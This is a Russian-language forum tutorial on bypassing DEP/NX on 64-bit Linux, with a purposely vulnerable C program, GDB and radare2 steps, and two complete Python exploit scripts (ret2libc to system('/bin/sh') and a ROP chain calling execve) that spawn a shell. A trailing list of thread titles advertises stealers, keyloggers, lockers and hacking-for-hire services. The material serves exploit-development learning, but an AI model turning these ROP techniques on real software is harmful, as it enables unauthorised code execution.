Статья Пишем сплойт для обхода DEP: ret2libc и ROP-цепочки против Data Execution Prevention.

Admin

Администратор
Сегодня мы напишем эксплоит для обхода технологии DEP. Для этого рассмотрим две техники: ret2libc и ROP-цепочки.


Инструментарий
Сегодня нам понадобятся:
  1. Python Exploit Development Assistence for GDP.
  2. Radare2.
  3. GDB.
Для демонстрации уязвимости напишем простую программу на C:

C:
#include <stdio.h>

int main(int argc, char argv[]) {
char buf[256];
read(0, buf, 400);
}

Компилируем ее:
Код:
gcc -fno-stack-protector rop.c -o rop

Так как обход ASLR — тема отдельной статьи, то временно отключаем его командой

Код:
# echo 0 > /proc/sys/kernel/randomize_va_space

Чтобы проверить, действительно ли ASLR отключен, введем команду

Код:
ldd <путь_к_исполняемому_файлу>

Должно получить что-то вроде

Код:
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7a3c000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dda000)

Если еще раз ввести команду, то адреса останутся такими же (указаны в скобках).

Коротко о DEP
В прошлой статье мы намеренно отключили DEP, чтобы можно было запустить наш шелл-код. Сегодня мы так делать не будем, а вместо этого попробуем его обойти. DEP работает следующим образом: память, которая не должна исполняться (например, стек), помечается специальным битом NX. Если ты попробуешь запустить код из памяти с установленным битом NX, то вызовется исключение. Это не позволяет использовать эксплоиты, которые просто передают управление на шелл-код. Для обхода DEP/NX и существуют крутые техники, такие как return-oriented programming и ret2libc. Более подробно о них расскажу чуть ниже.

Твой первый ROP или ret2libc
В классическом 32-битном случае ret2libc требует создания фейкового стека со всеми необходимыми параметрами для вызова функции из libc. Например, можно вызвать функцию system() и передать ей строку /bin/sh.

Как ты помнишь из предыдущей статьи, в 64-битной системе первые шесть параметров передаются через регистры rdi, rsi, rdx, rcx, r8 и r9. Все остальные параметры передаются через стек. Таким образом, для того чтобы вызвать функцию из libc, нам сначала необходимо присвоить регистрам нужные значения. Для этого мы и будем использовать ROP.

ROP (return-oriented programming) — это технология, которая позволяет обходить NX-бит. Идея ROP-цепочек довольно проста. Вместо того чтобы записывать и исполнять код на стеке, мы будем использовать так называемые гаджеты.

Гаджет — это короткая последовательность команд, которые заканчиваются инструкцией ret. Комбинируя такие команды, мы можем добиться исполнения кода.

При помощи гаджетов мы можем:
  • записывать константу в регистр, например pop rax; ret;;
  • брать значение из памяти и записывать в регистр, например mov [rax], rcx; ret;;
  • копировать значение в память, например mov rbx, [rcx]; ret;;
  • выполнять различные арифметические операции, например xor rax, rax; ret;;
  • делать syscall.
Наш эксплоит будет сравнительно простым. Он будет вызывать system('/bin/sh'). Для этого нам необходимо узнать:
  • адрес функции system(). Мы отключили ASLR, таким образом, он не будет меняться при перезапуске;
  • адрес строки /bin/sh в памяти (или, другими словами, указатель на строку);
  • адрес ROP-гаджета, который скопирует адрес строки /bin/sh в регистр rdi (через него передается первый параметр функции);
  • номер байта, после записи которого начинает перезаписываться регистр rip.
Для того чтобы найти адрес функции system(), воспользуемся отладчиком GDB — введем gdb rop. Затем запустим нашу программу:

Код:
gdb-peda$ start

Получим адрес функции system():

Код:
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a7b4d0 <system>

Получим указатель на строку /bin/sh:

Код:
gdb-peda$ find '/bin/sh'
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7b9d359 --> 0x68732f6e69622f ('/bin/sh')

Записываем полученные адреса на листочек или в блокнот (у тебя они могут отличаться). Теперь нам нужен гаджет, который скопирует значение 0x7ffff7b9d359 в регистр rdi. Для этого воспользуемся radare2. Запускаем r2 rop и затем ищем нужный гаджет:

Код:
[0x00400400]> /R pop rdi
0x004005a3                 5f  pop rdi
0x004005a4                 c3  ret

Этот гаджет нам подходит. Он возьмет значение из стека и запишет его в регистр rdi. Сохрани его адрес.

Осталось узнать, сколько надо записать «мусора» перед нашим эксплоитом, чтобы управление передалось по правильному адресу. Для этого создадим паттерн длиной 400 символов и запишем его в файл pattern.txt:

Код:
gdb-peda$ pattern_create 400 pattern.txt
Writing pattern of 400 chars to filename "pattern.txt"

Теперь запустим в GDB нашу уязвимую программу и подадим ей на вход полученный паттерн:


Код:
gdb-peda$ r < pattern.txt

Мы получим ошибку «Program received signal SIGSEGV, Segmentation fault». Нам необходимо посмотреть значение, на которое указывает регистр RSP. В моем случае это выглядит как:


Код:
RSP: 0x7fffffffe028 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y\020\341\377\367\377\177")

Регистр rip указывает на команду ret;, то есть дальше процессор возьмет адрес со стека и передаст на него управление. Именно этот адрес нам надо заменить на адрес нашего гаджета.

Возьмем первые 6 байт (например), в моем случае это HA%dA%. Затем определим, по какому смещению находятся эти байты в нашем паттерне:

Код:
gdb-peda$ pattern offset HA%dA%
HA%dA% found at offset: 264

Таким образом, получили, что нам нужно сначала перезаписать 264 байта, чтобы добраться до rip.


А вот и эксплоит!
Теперь у тебя есть все, чтобы написать свой первый эксплоит:


Python:
from struct import *
buf = ''
buf += 'A'*264                              # мусор
buf += pack('<Q', 0x004005a3)               # pop rdi, ret
buf += pack('<Q', 0x7ffff7b9d359)           # указатель на '/bin/sh'
buf += pack('<Q', 0x7ffff7a7b4d0)           # system()
f = open("exploit.txt", "w")
f.write(buf)
f.close

Данный код делает следующее:
  1. Создает буфер и записывает туда 264 буквы А.
  2. Записывает адрес гаджета pop rdi; ret;.
  3. Записывает адрес строки /bin/sh, который является аргументом для функции system().
  4. Записывает адрес функции system().
Теперь разберемся, что происходит со стеком во время работы. Сначала мы попадаем на наш гаджет (потому что мы перезаписали адрес возврата). Затем первая команда гаджета (pop rdi) берет со стека значение указателя на /bin/sh и записывает его в регистр rdi. После этого выполняется вторая команда гаджета — ret, которая берет следующее значение со стека (адрес функции system()) и «прыгает» на него. В конце всего этого выполняется функция system(), входное значение которой передано в регистре rip.

Теперь вызовем наш скрипт, который сгенерирует файл exploit.txt. Затем пробуем вызывать нашу программу и на вход ей подаем файл exploit.txt:

Код:
$ (cat exploit.txt; cat) | ./rop

После чего появится мигающий курсор оболочки sh. В данном случае мы использовали всего один гаджет, теперь попробуем разобраться, что делать, если их несколько.


Связываем цепочки
Вся сила ROP в том, что мы можем соединять гаджеты в цепочки или так называемые ROP chains. Для этого нам надо расположить на стеке адреса гаджетов в последовательном порядке. Так как каждый гаджет закачивается командой ret, он будет брать адрес следующего гаджета со стека и передавать на него управление.

Чтобы выполнить произвольный код и перейти к интерпретатору sh, воспользуемся алгоритмом из прошлой статьи — будем использовать функцию execve():
  1. Положим в rdi адрес строки '/bin/sh' (содержит путь до файла, который мы будем запускать).
  2. Обнулим rsi, чтобы не возиться с указателями на указатели (содержит указатель на массив строк argv).
  3. Обнулим регистр rdx, который содержит указатель envp.
  4. Запишем номер функции (0x3b) в регистр rax.
  5. Выполним syscall.
Осталось найти гаджеты, которые выполнят указанные действия.

Адрес гаджета pop rdi; ret; мы уже получили, когда писали эксплоит aka ret2libc.

Теперь ищем гаджет, который сможет записать значение в регистр rsi. Опять открываем radare2 и вводим:


Код:
[0x00400400]> /R pop rsi
0x004005a1                 5e  pop rsi
0x004005a2               415f  pop r15
0x004005a4                 c3  ret

Отлично. Этот гаджет нам подходит. Ты, наверное, заметил, что он затрагивает также регистр r15. Это не проблема — мы просто положим туда случайное значение (неважно какое), которое запишется в регистр r15. В противном случае команда pop r15 возьмет адрес следующего гаджета и сломает наш эксплоит.

Некоторые гаджеты могут отсутствовать в нашем исполняемом файле, но мы можем использовать библиотеки, которые они подгружают. Чтобы посмотреть, какие библиотеки используются, делаем:

Код:
$ ldd rop
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7a3c000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dda000)

И сразу запоминаем адрес загрузки библиотеки libc, он еще пригодится.

Открываем библиотеку в radare2:

Код:
r2 /usr/lib/libc.so.6

И затем ищем гаджет, с помощью которого мы сможем записать значение в регистр rax:


Код:
[0x000203b0]> /R pop rax
0x0011ec71               8903  mov dword [rbx], eax
0x0011ec73                 58  pop rax
0x0011ec74                 5a  pop rdx
0x0011ec75                 5b  pop rbx
0x0011ec76                 c3  ret

Их будет много, но нам хватит и одного. Кроме того что этот гаджет может записать значение в регистр rax, он позволяет записать значение еще в два регистра. Нас интересует регистр rdx, который хранит адрес envp при вызове функции execve(). Как мы уже сказали, мы запишем в него null, с регистром rbx делаем то же самое, что и с r15 на предыдущем шаге, — кладем туда случайное значение, чтобы не сломать эксплоит.

Так как этот адрес есть, по сути, смещение гаджета в библиотеке libc, то для того, чтобы получить его реальный адрес, мы складываем адрес смещения гаджета и базовый адрес библиотеки:

Код:
>>> hex(0x0011ec73 + 0x7ffff7a3c000)
'0x7ffff7b5ac73'

И получаем 0x7ffff7b5ac73 — реальный адрес гаджета.
Теперь найдем гаджет, с помощью которого мы сможем вызвать syscall:


Код:
[0x000203b0]> /R syscall
0x0010248e               0000  add byte [rax], al
0x00102490             48633f  movsxd rdi, dword [rdi]
0x00102493         b803000000  mov eax, 3
0x00102498               0f05  syscall
0x0010249a                 c3  ret

Прибавляем к адресу гаджета базовый адрес библиотеки libc и получаем 0x7ffff7b3e498 — адрес гаджета syscall.

Теперь осталось собрать все это и сформировать буфер для эксплоита. Он будет выглядеть так:


Код:
Скопировать в буфер обмена
0x004005a3       указатель на гаджет `pop rdi; ret;`
0x7ffff7b9d359   указатель на строку '/bin/sh'
0x004005a1       указатель на гаджет `pop rsi; ret;`
0x0              null (значение `argv`)
0xffffdeadbeef   случайное значение (чтобы отработал `pop r15;`)
0x7ffff7b5ac73   указатель на гаджет `pop rax; ret`
0x3b             номер функции execve для syscall
0x0              null (значение `envp`)
0xffffffffabcd   случайное значение (чтобы отработал `pop rbx;`)
0x7ffff7b3e498   syscall

Пишем небольшой скрипт, который сформирует буфер и запишет его в файл:

Python:
Python:
from struct import *

buf = ''
buf += 'A'*264                              # junk

buf += pack('<Q', 0x004005a3)               # pop rdi
buf += pack('<Q', 0x7ffff7b9d359)           # p to /bin/sh

buf += pack('<Q', 0x004005a1)               # pop rsi
buf += pack('<Q', 0x0)                      # null argv
buf += pack('<Q', 0xffffdeadbeef)           # junk

buf += pack('<Q', 0x7ffff7b5ac73)           # pop rax
buf += pack('<Q', 0x3b)                     # execve number
buf += pack('<Q', 0x0)                      # null envp
buf += pack('<Q', 0xffffffffabcd)           # trash

buf += pack('<Q', 0x7ffff7b3e498)           # syscall

f = open("exploit.txt", "w")
f.write(buf)
f.close

Запускаем скрипт и получаем на выходе файл exploit.txt. Теперь подаем его на вход нашей программе:

Код:
Скопировать в буфер обмена
(cat exploit.txt; cat) | ./rop

Теперь мы внутри sh. Если мы хотим получить полноценный шелл, можем сделать это при помощи python:

Код:
Скопировать в буфер обмена
python -c 'import pty; pty.spawn("/bin/sh")'

После чего появится «красивый» шелл sh :).


Выжно
Недавно Intel представила предварительную спецификацию новой технологии защиты от эксплоитов. Данная технология, которая называется Control-flow Enforcement Technology (CET), представляет модель защиты от эксплоитов, которые так или иначе используют ROP. Обо всех деталях уже давно написано в интернете. Но мы же с тобой понимаем, что мир ИБ — это противостояние меча и щита и на новые техники защиты обязательно появятся новые техники нападения, о которых мы непременно тебе расскажем на страницах журнала.
 
Похожие темы
У Интересно Пишем любой текст на листочке который держит обнажённая девушка. 18+ Свободное общение 0
У Интересно Пишем вредоносное ПО с помощью ChatGPT. Формат mp4. English-speaking. Полезные статьи 2
A Пишем свой RAT на Python > {Часть 1} Уязвимости и взлом 3
U Интересно PHP - Пишем свой фишинг скрипт для кражи тт аккаунтов {Уровень: EASY} Программирование 10
L Интересно C# - Пишем Watchdog (Модуль защиты вашего трояна) Программирование 2
L Интересно C# - Динамическая загрузка DLL (пишем стиллер в 9кб) Программирование 4
K [Roman Akhromieiev] Telegram. Пишем ботов на Node JS и Telegraf (2020) Раздачи и сливы 1
X Взлом вашей второй Половинки или Конкурента связь [email protected] Eсли вы хотите узнать что делает ваша вторая половинка в сети пишем нам на поч Ищу работу. Предлагаю свои услуги. 1
sxkury Пишем малютку для скана сайта Готовый софт 6
АнАлЬнАя ЧуПаКаБрА Интересно Пишем брут на любой(почти) банк [OFX] Программирование 1
S Пишем свой перехватчик СМС Android Программирование 3
S Взлом вашей второй Половинки или Конкурента связь [email protected] Eсли вы хотите узнать что делает ваша вторая половинка в сети пишем нам н Ищу работу. Предлагаю свои услуги. 0
T Пишем WinLocker на Delphi Программирование 0
N Пишем отзывы и получаем от 200 рублей в день. Способы заработка 12
G Пишем парсер на Python - грабим Proxy ч.2 Готовый софт 0
G Пишем парсер на Python - грабим Proxy ч.1 Готовый софт 2
G Пишем скрипт для работы с VirusTotal-ом Полезные статьи 0
G Пишем шифровальщик на python Полезные статьи 0
Traven Пишем спамер Telegram, на Python Раздачи и сливы 0
Traven Пишем свой стиллер на Python Программирование 5
Traven WinLocker на python. Пишем вирус. Раздачи и сливы 0
V Пишем переносной кейлоггер на C++ Полезные статьи 1
O Пишем стиллер на Batch Вирусология 15
A Delphi для начинающих – Урок 6 – Пишем свой калькулятор Программирование 0
E [PHP] Пишем свой движок 2.0 Программирование 0
Glods Пишем многопоточный Brute Программирование 0
R Пишем билдер C# вариант 1 Программирование 2
Admin Статья Разбираем инциденты, анализируем honeypots через дашборды для поимки хищников, атакующих нашу инфраструктуру. [Part 2] Анонимность и приватность 0
Admin Статья Разбираем, расставляем honeypots для поимки хищников, атакующих нашу инфраструктуру. [Part 1] Анонимность и приватность 0
Admin Статья Настройки Mozilla Firefox для параноиков и тест Mullvad Browser Анонимность и приватность 0
Admin Статья Написание вредоносного ПО для Windows: для развлечения и прибыли Вирусология 1
Admin Интересно Когда бэкап превращается в тыкву. Veeam случайно создала идеальную точку входа для хакеров. Новости в сети 0
Admin Статья Как оставаться незаметным в 2025 году – простые правила оперативной безопасности для всех. Анонимность и приватность 0
Admin Интересно Ваш роутер D-Link работает уже 10 лет? У нас для вас (и его безопасности) очень плохие новости. Новости в сети 0
Admin Интересно Быстрее, дешевле, проще. Google готовит новую ИИ-модель для генерации изображений. Новости в сети 0
Admin Статья Свежие уязвимости для ОС Windows. Уязвимости и взлом 0
Admin Статья Не доверяй своей железке: Гайд по по-настоящему безопасным ОС для тех, кто в теме Анонимность и приватность 0
Admin Статья Методика добычи высококонвертируемого и дешевого трафика для целевых атак. Полезные статьи 0
Admin Статья Шифрование для ленивых Полезные статьи 0
Admin Интересно $500 – антивирусы и EDR больше не помогут. Хакеры начали торговлю инструментом для обхода защиты Windows. Новости в сети 0
Admin Интересно Охотник стал добычей. Как «безопасники» ловят вирусы, пытаясь скачать инструменты для их поиска. Новости в сети 0
Admin Интересно Загрузил документ — лишился «учётки». ИИ-помощник для юристов подставил под удар 200 тысяч компаний. Новости в сети 0
Admin Статья Софт для реверсинга Вирусология 0
Admin Статья Софт для разработки эксплойтов 2 часть Вирусология 0
Admin Статья Софт для разработки эксплойтов 1 часть Вирусология 0
Admin Интересно 0 на VirusTotal и root-доступ: хакеры смогли обмануть все антивирусы с помощью легального софта для админов. Новости в сети 0
Admin Интересно У этого Марио плохая карма. Киберпреступники превратили любимого героя детства в кошмар для пользователей. Новости в сети 0
Admin Статья ReconSpider - продвинутая платформа для сканирования IP-адресов. OSINT 0
Admin Статья Поисковые запросы для Shodan. OSINT 0
Admin Статья Отравление кэша контекста активации: использование CSRSS для повышения привилегий Уязвимости и взлом 0

Название темы